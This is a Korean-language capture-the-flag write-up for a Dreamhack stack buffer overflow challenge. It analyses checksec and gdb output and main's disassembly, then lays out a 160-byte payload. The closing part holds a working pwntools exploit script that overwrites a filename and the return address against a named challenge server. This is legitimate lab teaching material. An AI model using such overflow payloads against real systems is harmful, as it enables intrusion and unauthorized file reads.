
1. 핵심 개념: 스택 버퍼 오버플로우 (Stack Buffer Overflow)
프로그램이 데이터를 저장하기 위해 사용하는 스택(Stack) 메모리는 아래로 쌓이는 구조입니다. 함수가 실행될 때 생기는 공간인 '스택 프레임'의 구조를 이해하는 것이 해킹의 시작입니다.
- 버퍼(Buffer): 입력 데이터가 담기는 바구니. (예: buf)
- SFP (Saved Frame Pointer): 이전 함수의 기준 주소를 저장하는 8바이트 공간.
- RET (Return Address): 가장 중요한 타겟. 함수가 끝난 후 "어디로 돌아가서 다음 코드를 실행할지" 적혀 있는 이정표입니다. 이 값을 바꾸면 프로그램의 흐름을 조작할 수 있습니다.
2. 분석 도구 활용법 (Reconnaissance)
① checksec: 방어 기법 확인
파일에 어떤 자물쇠가 걸려 있는지 확인합니다.
- 명령어: checksec ./bof
- 해석:
- No Canary: 스택 오버플로우를 감시하는 센서가 없음 → 공격 가능
- NX Enabled: 스택에서 코드 실행 불가 → 기존 함수(read_cat) 재활용 필요
- No PIE: 함수의 메모리 주소가 고정됨 → 분석한 주소(0x401236)를 그대로 사용 가능

※ checksec 추가 설명
🛠️ checksec 결과 상세 분석 (나머지 항목)
1. Arch: amd64-64-little
- 의미: 이 프로그램이 64비트 리눅스(x86-64) 환경에서 돌아가는 프로그램이라는 뜻입니다.
- Little: '리틀 엔디언(Little-Endian)' 방식을 쓴다는 뜻인데, 주소 값을 거꾸로 넣어야 한다는 의미입니다. (그래서 우리가 파이썬에서 p64() 함수를 써서 주소를 뒤집어준 거예요!)
2. RELRO: Partial RELRO
- 의미: 'RELocation Read-Only'의 약자입니다. 프로그램이 사용하는 함수들의 주소판(GOT)을 보호하는 기능입니다.
- Partial: "일부만 보호됨"이라는 뜻입니다. 나중에 배우게 될 **'GOT Overwrite'**라는 고급 공격 기법이 통할 수 있는 환경임을 시사합니다.
3. SHSTK: Enabled (Shadow Stack)
- 의미: 최근 CPU(인텔 11세대 이상 등)에서 지원하는 강력한 방어 기술입니다.
- 역할: **'그림자 스택'**이라는 별도의 공간에 리턴 주소(RET)를 하나 더 복사해둡니다. 함수가 끝날 때 원래 스택의 RET와 그림자 스택의 RET를 비교해서 다르면 프로그램을 강제 종료합니다.
- 이번 문제에서는?: 드림핵 서버 환경이나 구형 CPU 환경에서는 이 기능이 무시되거나 작동하지 않아 우리가 성공할 수 있었습니다.
4. IBT: Enabled (Indirect Branch Tracking)
- 의미: 이것도 최신 CPU의 방어 기술입니다.
- 역할: 프로그램이 엉뚱한 곳(함수의 중간 등)으로 갑자기 점프하는 것을 막습니다. 오직 허락된 지점(endbr64라는 코드가 있는 곳)으로만 점프할 수 있게 감시합니다.
5. Stripped: No
- 의미: "디버깅 정보가 삭제되었는가?"를 나타냅니다.
- No: 삭제되지 않았습니다! 덕분에 우리가 gdb에서 main, read_cat 같은 함수 이름을 그대로 볼 수 있었던 것입니다. 만약 Yes였다면 함수 이름이 다 사라져서 찾기가 훨씬 힘들었을 거예요.
② gdb: 설계도 정찰
프로그램 내부를 뜯어보며 공격 지점을 찾습니다.
- 명령어: gdb ./bof 후 info functions 입력 → read_cat 주소(0x401236) 확보.

- 상세 분석: disas main 입력 → 입력 시작점(rbp-0x90)과 파일 이름 저장 위치(rbp-0x10)를 확인.

※ info functions 추가 설명
1. 외부에서 빌려온 도우미 함수들 (@plt)
이 함수들은 프로그램 내부에 직접 구현된 게 아니라, 리눅스 시스템 라이브러리(libc)에서 기능을 빌려 쓰는 함수들입니다.
- __isoc99_scanf@plt: (취약점의 근원) 키보드 입력을 받는 함수입니다. 길이를 검사하지 않아 우리가 버퍼 오버플로우를 일으킬 수 있게 해준 고마운(?) 도구입니다.
- printf@plt / puts@plt: 화면에 글자를 출력합니다. "meow?" 같은 메시지를 띄울 때 사용됩니다.
- open@plt / read@plt: 파일을 열고 내용을 읽습니다. read_cat 함수 내부에서 실제로 파일을 가져올 때 호출됩니다.
- memset@plt: 메모리를 특정 값으로 초기화합니다. (보통 0으로 싹 지울 때 씁니다.)
- exit@plt: 프로그램을 깔끔하게 종료합니다.
- setvbuf@plt: 입출력 속도를 조절하는 설정 함수입니다. (해킹에는 큰 영향이 없습니다.)
2. 프로그램의 핵심 로직 (우리가 분석한 곳)
이 함수들은 이 프로그램의 목적을 수행하기 위해 직접 코딩된 부분입니다.
- main (0x401391): (시작점) 프로그램이 실행되면 가장 먼저 찾아오는 곳입니다. 여기서 입력을 받고, 다른 함수들을 호출합니다.
- read_cat (0x401236): (우리의 목표) 이 문제의 핵심입니다. 특정 파일을 읽어서 화면에 보여주는 기능을 합니다. 우리는 main이 끝날 때 이 주소로 점프하게 만들었습니다.
- init (0x40132c): 프로그램 시작 전 필요한 초기 설정을 하는 함수입니다. (보통 보안 설정이나 입출력 초기화가 들어있습니다.)
3. 시스템 관리용 함수들 (배경지식)
프로그램이 시작되거나 끝날 때 컴퓨터가 자동으로 관리하는 영역입니다. 보통은 건드릴 일이 없습니다.
- _init / _fini: 프로그램이 메모리에 올라갈 때와 내려갈 때 실행되는 준비/정리 작업입니다.
- _start: 실제 CPU가 가장 먼저 실행하는 지점입니다. 여기서 준비를 마친 뒤 우리가 아는 main을 호출합니다.
- frame_dummy / __do_global_dtors_aux: C++ 객체나 전역 변수들의 생성/소멸을 돕는 보조 함수들입니다.
- register_tm_clones: 트랜잭션 메모리 관련 함수인데, 일반적인 해킹 문제에선 무시해도 됩니다.
💡 한 줄 요약: "누구를 주목해야 하는가?"
우리가 주목해야 할 함수는 딱 3개입니다.
- scanf: 데이터를 넘치게 부을 수 있는 구멍.
- main: 공격을 시작해서 메모리를 망가뜨릴 장소.
- read_cat: 우리가 최종적으로 실행시키고 싶은 보물 상자.
※ disas main 추가 설명
주요 레지스터 계보
64비트 시스템에서는 이름 앞에 **r**이 붙고(64비트), 32비트 환경에서는 **e**가 붙습니다(32비트).
- rax (Accumulator): 산술 연산(더하기, 빼기)을 하거나, 함수의 **리턴값(결과값)**을 담는 용도로 씁니다.
- rbx (Base): 주로 메모리 주소를 가리키는 포인터 역할을 합니다.
- rdi, rsi (Destination/Source Index): 함수에 **인자(Parameter)**를 전달할 때 씁니다. (예: read_cat("flag")에서 "flag" 주소를 담음)
- rbp (Base Pointer): 현재 실행 중인 함수 스택의 **기준점(바닥)**입니다.
- rsp (Stack Pointer): 현재 스택의 **최상단(끝부분)**을 가리킵니다.
명령어(Instruction)의 의미
- mov a, b (Move): b의 값을 a로 복사합니다. (예: mov %rax, %rdi)
- lea a, [b] (Load Effective Address): [가장 중요] b라는 주소값 자체를 a에 넣습니다.
- mov rax, [rbp-0x10]: rbp-0x10 번지에 들어있는 내용물을 가져옴.
- lea rax, [rbp-0x10]: rbp-0x10이라는 방 번호(주소) 자체를 가져옴.
- sub, add: 뺄셈과 덧셈입니다. 스택 공간을 확보할 때 sub $0x90, %rsp처럼 씁니다.
- call: 특정 함수로 점프합니다.
- leave & ret: 함수를 끝내고 원래 호출했던 곳으로 돌아가는 세트 메뉴입니다.
1. 스택 프레임 생성 (준비 운동)
- 코드 분석:
0x401395 <+4>: push %rbp ; 이전 함수의 기준점(RBP)을 스택에 저장 0x401396 <+5>: mov %rsp,%rbp ; 현재 함수의 기준점(RBP)을 설정 0x401399 <+8>: sub $0x90,%rsp ; 스택 공간 확보 (0x90 = 144바이트) - 핵심 원리: * 왜 뺄셈(sub)인가? 스택은 높은 주소에서 낮은 주소로 자라기 때문에, 값을 빼야 아래로 공간이 생깁니다.
- 의미: "나는 144바이트만큼의 메모리를 내 방으로 쓸 거야!"라고 선언하는 과정입니다. 기준점(rbp)은 위에, 끝점(rsp)은 144칸 아래에 위치하게 됩니다. (rbp > rsp)
2. 파일 이름 초기화 (./cat)
- 코드 분석:
0x4013aa <+25>: lea -0x10(%rbp),%rax ; rbp-0x10 주소를 rax(64비트)에 담음
0x4013ae <+29>: movl $0x61632f2e,(%rax) ; 4바이트(Long) 단위로 "./ca" 쓰기
0x4013b4 <+35>: movw $0x74, 0x4(%rax) ; 2바이트(Word) 단위로 "t\0" 쓰기
- 핵심 원리:
- lea vs mov: lea는 방 번호(주소)를 계산하고, mov는 그 방에 실제 물건(데이터)을 넣습니다.
- rax vs eax: 주소는 8바이트라 rax를 쓰고, 작은 데이터나 숫자는 4바이트인 eax를 씁니다.
- 데이터 쪼개기: ./cat은 총 5바이트(NULL 포함)라 CPU 효율을 위해 4바이트+2바이트로 나누어 저장합니다.
- 의미: rbp-0x10 자리에 나중에 읽을 파일 경로인 **./cat**을 미리 써둡니다. (이게 우리의 첫 번째 타겟입니다.)
3. 입력 받기 (취약점 발생 지점!)
- 코드 분석:
0x4013ce <+61>: lea -0x90(%rbp),%rax ; 입력 시작점(rbp-0x90) 주소 확보
0x4013e7 <+86>: call 0x401130 <scanf@plt> ; scanf 실행
- 핵심 원리:
- 오프셋(<+61>): 함수의 시작점(0x401391)에서 기계어 코드가 61바이트 뒤에 있다는 위치 표시입니다.
- 취약점: scanf는 입력 길이를 검사하지 않습니다. 낮은 주소(rbp-0x90)에서 높은 주소(rbp)를 향해 데이터를 들이부으면, 중간에 있는 ./cat도 덮어쓰고 결국 RET까지 도달합니다.
4. 함수 호출 및 종료 (공격 성공 지점)
- 코드 분석:
0x4013ec <+91>: lea -0x10(%rbp),%rax ; 파일명 위치를 다시 불러옴
0x4013f3 <+98>: call 0x401236 <read_cat> ; read_cat(파일명) 실행
0x40141b <+138>: leave ; 스택 프레임 정리
0x40141c <+139>: ret ; RET에 적힌 주소로 점프!
- 핵심 원리:
- 공격 1 (파일명 조작): 우리가 rbp-0x10 자리에 flag라고 써두면, read_cat은 서버의 진짜 정답인 flag 파일을 읽습니다.
- 공격 2 (흐름 가로채기): RET는 rbp 바로 위(+8바이트)에 있습니다. 여기에 read_cat 주소(0x401236)를 써넣으면 프로그램 종료 시 다시 한번 파일을 읽게 됩니다.
최종 메모리 설계도 및 계산법 (160바이트)
| 구간 (10진수 거리) | 크기 | 데이터 | 상세 논리 |
| 0 ~ 128 | 128 | "A" * 128 | 입력 시작(-0x90)부터 파일명(-0x10) 앞까지 채움 |
| 128 ~ 133 | 5 | "flag\x00" | 원래 ./cat이 있던 자리를 flag로 바꿔치기 |
| 133 ~ 144 | 11 | "A" * 11 | [0x0b] 파일명(5)을 쓰고 남은 빈칸 보정 ($16 - 5 = 11$) |
| 144 ~ 152 | 8 | "A" * 8 | [SFP] 기준점(rbp) 자리를 무의미한 값으로 덮음 |
| 152 ~ 160 | 8 | 0x401236 | [RET] 리턴 주소(rbp+8)를 read_cat 주소로 변조 |
💡 추가 궁금증 해결
- 파일명이 아주 길다면? 파일 이름 자체에 RET를 변조할 주소를 포함시키거나, 심볼릭 링크를 만들어 이름을 줄여서 공격합니다.
- SFP는 왜 144인가? 시작점(-0x90)이 144바이트 지점이라, 144를 채워야 딱 rbp에 도달하기 때문입니다.
- RET는 왜 +8인가? 64비트 시스템에서 주소값은 8바이트이며, rbp 바로 다음 칸에 저장되는 것이 약속이기 때문입니다.
3. 공격 설계: 메모리 오염 시나리오
우리는 입력값을 넘치게 주어 파일 이름을 바꾸고, **함수가 돌아갈 주소(RET)**를 가로챌 것입니다.
| 위치 | 거리 계산 (16진수 → 10진수) | 역할 |
| 입력 시작점 | rbp - 0x90 (0) | 데이터 입력이 시작되는 곳 |
| 파일명 위치 | rbp - 0x10 (128) | 원래 ./cat이 적힌 곳. 우리는 **"flag\x00"**으로 덮음. |
| SFP 위치 | rbp (144) | 기준점. 아무 값("A" * 8)으로 채움. |
| RET 위치 | rbp + 0x08 (152) | 여기에 read_cat 주소를 넣음. |
4. 실전 익스플로잇: 파이썬 공격 코드 (exploit.py)
pwntools 라이브러리를 사용하여 서버에 정밀한 '메모리 폭탄'을 던집니다
from pwn import *
# 1. 서버 연결 (본인의 드림핵 접속 정보로 수정)
p = remote('host8.dreamhack.games', 15827)
# 2. 분석한 주소 설정
read_cat_addr = 0x401236
# 3. 페이로드(공격 데이터) 조립
payload = b"A" * 128 # rbp-0x90 부터 rbp-0x10 전까지 채우기
payload += b"flag\x00" # rbp-0x10 위치에 "flag" 문자열 심기
payload += b"A" * 11 # 144 - 128 - 5(flag\0) = 11바이트 보정
payload += b"A" * 8 # SFP 8바이트 덮어쓰기
payload += p64(read_cat_addr) # RET 자리에 목표 함수 주소 넣기
# 4. 발사 및 인터랙티브 모드 전환
p.sendline(payload)
p.interactive()
5. 전체 흐름 요약 (Final Flow)
- 준비: 드림핵 서버와 똑같은 환경을 만들기 위해 Dockerfile로 로컬 환경을 세팅합니다.
- 분석: checksec과 gdb로 **취약점(scanf)**과 **점프할 주소(read_cat)**를 알아냅니다.
- 검증: 내 컴퓨터의 가짜 플래그 파일을 출력하는지 먼저 테스트합니다.
- 실전: 파이썬 코드를 실제 서버로 연결하여 실행합니다.
- 성급: 서버의 read_cat 함수가 우리가 조작한 flag 파일을 읽어 진짜 플래그를 화면에 띄워줍니다.

